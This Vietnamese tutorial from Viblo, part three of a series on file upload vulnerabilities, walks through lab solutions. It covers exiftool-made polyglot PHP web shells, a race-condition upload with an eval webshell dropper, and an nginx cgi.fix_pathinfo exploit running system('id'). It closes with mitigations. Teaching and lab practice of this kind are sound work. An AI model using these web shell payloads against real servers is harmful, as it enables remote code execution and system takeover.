File upload vulnerabilities - Các lỗ hổng upload tệp tin (Phần 3)
II. Phân tích và khai thác các lỗ hổng File upload (tiếp)
6. Bypass bằng cách chèn metadata trong file ảnh
Song song với cách bypass thông qua file signature đã được nhắc tới trong mục 3, chúng ta cũng có thể chèn một đoạn mã độc hại trong nội dung file ảnh. Cách làm này thường mang lại hiểu quả tốt hơn do có thể vượt qua khá nhiều cơ chế ngăn chặn thông thường từ hệ thống.
Phân tích lab Remote code execution via polyglot web shell upload
Miêu tả: Trang web chứa lỗ hổng trong chức năng upload avatar, với nhiều cơ chế bảo vệ nhưng vẫn có thể bị bypass. Để giải quyết bài lab, chúng ta cần khai thác lỗ hổng nhằm đọc nội dung file /home/carlos/secret
. Tài khoản hợp lệ được cung cấp: wiener:peter
.
Đăng nhập với tài khoản wiener:peter
, với chức năng upload avatar, thử tải lên một file shell.php
với nội dung như sau:
<?php
echo file_get_contents('/home/carlos/secret');
?>
Tuy nhiên, khi đổi phần mở rộng một ảnh bình thường, chẳng hạn từ orange.jpg
thành orange.php
và upload file này sẽ được phép:
Từ đây có thể suy đoán: hệ thống thực hiện kiểm tra tệp tải lên có thỏa mãn các tính chất của một file ảnh hay không, tuy nhiên không kiểm tra phần mở rộng file cũng như Content type. Nghĩa là nếu khi chúng ta bypass được cơ chế này upload một file php thành công, hệ thống có thể sẽ thực thi file php đó. Ý tưởng là chúng ta có thể thực hiện chèn metadata vào file ảnh, đồng thời đổi tên với phần mở rộng .php để hệ thống thực thi. Sử dụng công cụ Exiftool, payload như sau:
exiftool -Comment="<?php echo 'VIBLO ' . file_get_contents('/home/carlos/secret') . ' VIBLO'; ?>" orange.jpg -o orange.php
Dòng lệnh trên sẽ chèn thêm đoạn metadata <?php echo 'VIBLO ' . file_get_contents('/home/carlos/secret') . ' VIBLO'; ?>
vào nội dung file ảnh orange.jpg
, output là file mới orange.php
.
Upload file orange.php
được hệ thống chấp nhận:
Truy cập đường dẫn ảnh /files/avatars/orange.php
:
Nội dung tệp secret được hiển thị giữa hai từ VIBLO, submit và hoàn thành bài lab:
Trong bài lab này, chúng ta cũng có thể bypass bằng cách thêm file signature GIF89a; vào đầu nội dung file.
7. Khai thác lỗ hổng file upload race conditions
Chức năng upload file hiện nay đều có khả năng chống lại các cuộc tấn công file upload tốt. Thay vì trực tiếp lưu file vào thư mục, chúng ta có thể đặt file upload vào một nơi "tạm thời", thay đổi tên file, xử lý qua các bước kiểm tra, khi xác định đó là một tệp thực sự an toàn thì mới lưu vào thư mục chính.
Tuy nhiên, bước xử lý kiểm tra tệp tin tải lên vẫn cần tới một khoảng thời gian nhất định, và tại thời điểm file cũ "chưa kịp" xử lý xong, kẻ tấn công tải lên một file mới, thì file mới này sẽ được lưu trữ tạm thời và trong trạng thái hàng đợi để chờ xử lý. Chúng ta có thể lợi dụng sơ hở này thực hiện tấn công, cách khai thác này có tên gọi là Race conditions attack.
Phân tích lab Web shell upload via race condition
Miêu tả: Trang web chứa lỗ hổng file upload trong chức năng tải lên avatar. Mặc dù chứa một cơ chế phòng ngừa chắc chắn, nhưng chúng ta có thể khai thác lỗ hổng bằng cách tấn công Race conditions. Để giải quyết bài lab, chúng ta cần đọc nội dung tệp /home/carlos/secret
. Tài khoản hợp lệ được cung cấp: wiener:peter
.
Phần hint cung cấp cho chúng ta đoạn code xử lý file upload của trang web:
<?php
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];
// temporary move
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);
if (checkViruses($target_file) && checkFileType($target_file)) {
echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
} else {
unlink($target_file);
echo "Sorry, there was an error uploading your file.";
http_response_code(403);
}
function checkViruses($fileName) {
// checking for viruses
...
}
function checkFileType($fileName) {
$imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
if($imageFileType != "jpg" && $imageFileType != "png") {
echo "Sorry, only JPG & PNG files are allowed\n";
return false;
} else {
return true;
}
}
?>
Khi người dùng upload file, trang web lưu trữ tạm thời file upload:
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);
Sau đó, sử dụng hai hàm checkViruses()
và checkFileType()
để kiểm tra tính an toàn của file upload.
if (checkViruses($target_file) && checkFileType($target_file)) {
echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
} else {
unlink($target_file);
echo "Sorry, there was an error uploading your file.";
http_response_code(403);
}
Đoạn code trên có nhiệm vụ kiểm tra file upload, nếu không vượt qua sẽ xóa file người dùng tải lên. Bởi vậy chúng ta có thể sử dụng cách tấn công Race conditions, khai thác dựa theo time to check và time to use, cụ thể, chúng ta sẽ gửi request vào giữa hai khoảng thời gian này dẫn tới hệ thống thực thi file php khi chưa kịp xoá file (Time to use).
Đăng nhập với tài khoản wiener:peter
, tải lên một file shell.php
với nội dung như sau:
<?php
echo file_get_contents('/home/carlos/secret');
?>
Gửi request upload này tới Intrunder, chúng ta sẽ sử dụng dạng payload Null payload thực hiện tấn công Race condition.
Tạo một cuộc tấn công thứ hai request tới /files/avatars/shell.php
:
Cho hai cuộc tấn công đồng thời bắt đầu:
Thu được response chứa nội dung file secret. Submit và hoàn thành bài lab:
Để đơn giản hóa và mở rộng cuộc tấn công, chúng ta có thể upload một file với nội dung như sau:
<?php
fputs(fopen('shell.php','w'), '<?php eval(@_GET["a"]; ?>');
?>
Khi file upload được thực thi sẽ tạo một webshell shell.php
.
8. Lỗ hổng file upload trong config nginx
Lỗ hổng không liên quan tới phiên bản của nginx, là do quá trình config nginx tạo thành.
Một số kiến thức cần chuẩn bị:
- cgi.fix_pathinfo: Vị trí tham số được đặt trong file
php.ini
, giá trị mặc địnhcgi.fix_pathinfo=1
nghĩa là bật. Khi php xử lý đường dẫn file/a.png/b.php
phát hiện fileb.php
không tồn tại sẽ xử lý filea.png
và tương tự "lùi" cho tới khi file tồn tại sẽ thực thi như một file php. - security.limit_extensions: Giới hạn phân tích cú pháp các tệp. Ví dụ
security.limit_extensions=.php
chỉ cho phép phân tích, thực thi tệp php.
Upload một file ảnh bình thường và truy cập đường dẫn lưu ảnh:
Thêm vào sau URL một tên file bất kỳ abcd.php
:
Như chúng ta thấy trang web trả về nội dung file ảnh mới upload. Xem xét file config, chú ý đoạn code sau:
location ~ \.php$ {
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param REDIRECT_STATUS 200;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
fastcgi_pass php:9000;
}
Ở đây các file kết thúc bằng .php
sẽ chuyển cho fastcgi xử lý. Tại file php.ini
mặc định tham số cgi.fix_pathinfo=1
, khi nhận ra tệp abcd.php
không tồn tại, nên tệp tin được xử lý sẽ là tệp tin trước tệp tin hiện tại - chính là file ảnh vừa được upload, được coi như một file php
để thực thi, dẫn đến kết quả trả về nội dung của tệp ảnh.
Lợi dụng lỗ hổng này, chúng ta có thể chèn script thực thi vào nội dung file ảnh. Có thể sử dụng Notepad++ hoặc một số công cụ khác như exiftool, command sử dụng exiftool:
exiftool -Comment="<?php echo 'VIBLO'; echo system('id'); echo 'VIBLO';?>" shell.jpg -o webshell.jpg
Upload ảnh webshell.jpg
, thêm /.php
vào sau URL, đoạn mã được chèn thực thi thành công:
Chúng ta có thể ngăn chặn lỗ hổng trên bằng một vài cách như sau:
- Sửa đổi
php.ini
: Thay đổi cài đặt tham sốcgi.fix_pathinfo=1
vềcgi.fix_pathinfo=0
. - Sửa đổi tham số
security.limit_extensions
thànhsecurity.limit_extensions=.php
chỉ cho phép phân tích và thực thi tệp php. - Thêm đoạn mã ngăn chặn sau vào
nginx.conf
:
if ( $fastcgi_script_name ~ ..*/.*php ) {
return 403;
}
Nếu URL có dạng đường dẫn như trên sẽ trả về 403.
- Thêm đoạn mã ngăn chặn sau vào
fcgi.conf
:
if ($request_filename ~* (.*).php) {
set $php_url $1;
}
if (!-e $php_url.php) {
return 403;
}
III. Tầm ảnh hưởng của lỗ hổng file upload
Khi một hệ thống chứa lỗ hổng file upload, nếu người dùng được phép tải lên bất kỳ loại tệp nào, thì kẻ tấn công có thể lợi dụng tải lên các file chứa chương trình độc hại, khai thác tài nguyên trái phép, thậm chí làm toàn bộ hệ thống không còn hoạt động bình thường. Với lỗ hổng file upload, kẻ tấn công thường lợi dung nhằm tải lên các tệp webshell nhằm thực thi mã lệnh tùy ý từ xa (Remote Code Execution), dẫn đến kẻ tấn công chiếm toàn quyền điều khiển hệ thống. Ngoài ra chúng còn có thể để lại các "backdoor" ẩn giấu nhằm lợi dụng khai thác khi sau này tấn công trở lại.
IV. Các phương pháp ngăn ngừa lỗ hổng file upload
Tôi tin rằng sau khi cùng thực hiện phân tích và khai thác các dạng tấn công trong mục III thì các bạn đều đã có cho mình một số cách phòng ngừa dạng lỗ hổng này:
- Không cho quyền thực các tệp trong thư mục lưu trữ file upload từ người dùng: Kể cả khi người dùng upload file tấn công thành công nhưng không thể thực thi sẽ giảm đi phần lớn nguy cơ mang lại từ các tệp độc hại này.
- Kết hợp nhiều cơ chế ngăn chặn đảm bảo an toàn đối với các file upload: Có thể kết hợp white list, kiểm tra nội dung file, kiểm tra tên file có đúng định dạng, không chứa ký tự không mong muốn, ...
- Thay đổi tên tệp do người dùng tải lên kết hợp che giấu đường dẫn thư mục: Một số trường hợp người dùng bypass upload file thành công và truy cập tới tệp upload, nhưng không thể thực thi đã tên đã bị thay đổi thành các chuỗi ký tự ngẫu nhiên.
- Thường xuyên thực hiện rà soát, tái kiểm tra các tệp tin trong hệ thống.
- Máy chủ web cần được cấu hình hợp lý, phân quyền thư mục phù hợp, nâng cấp, cập nhật các phiên bản phần mềm, công nghệ kịp thời.
V. Các tài liệu tham khảo
- https://portswigger.net/web-security/file-upload
- https://en.wikipedia.org/wiki/Web_shell
- https://en.wikipedia.org/wiki/List_of_file_signatures
- https://vulhub.org/
©️ Tác giả: Lê Ngọc Hoa từ Viblo
All rights reserved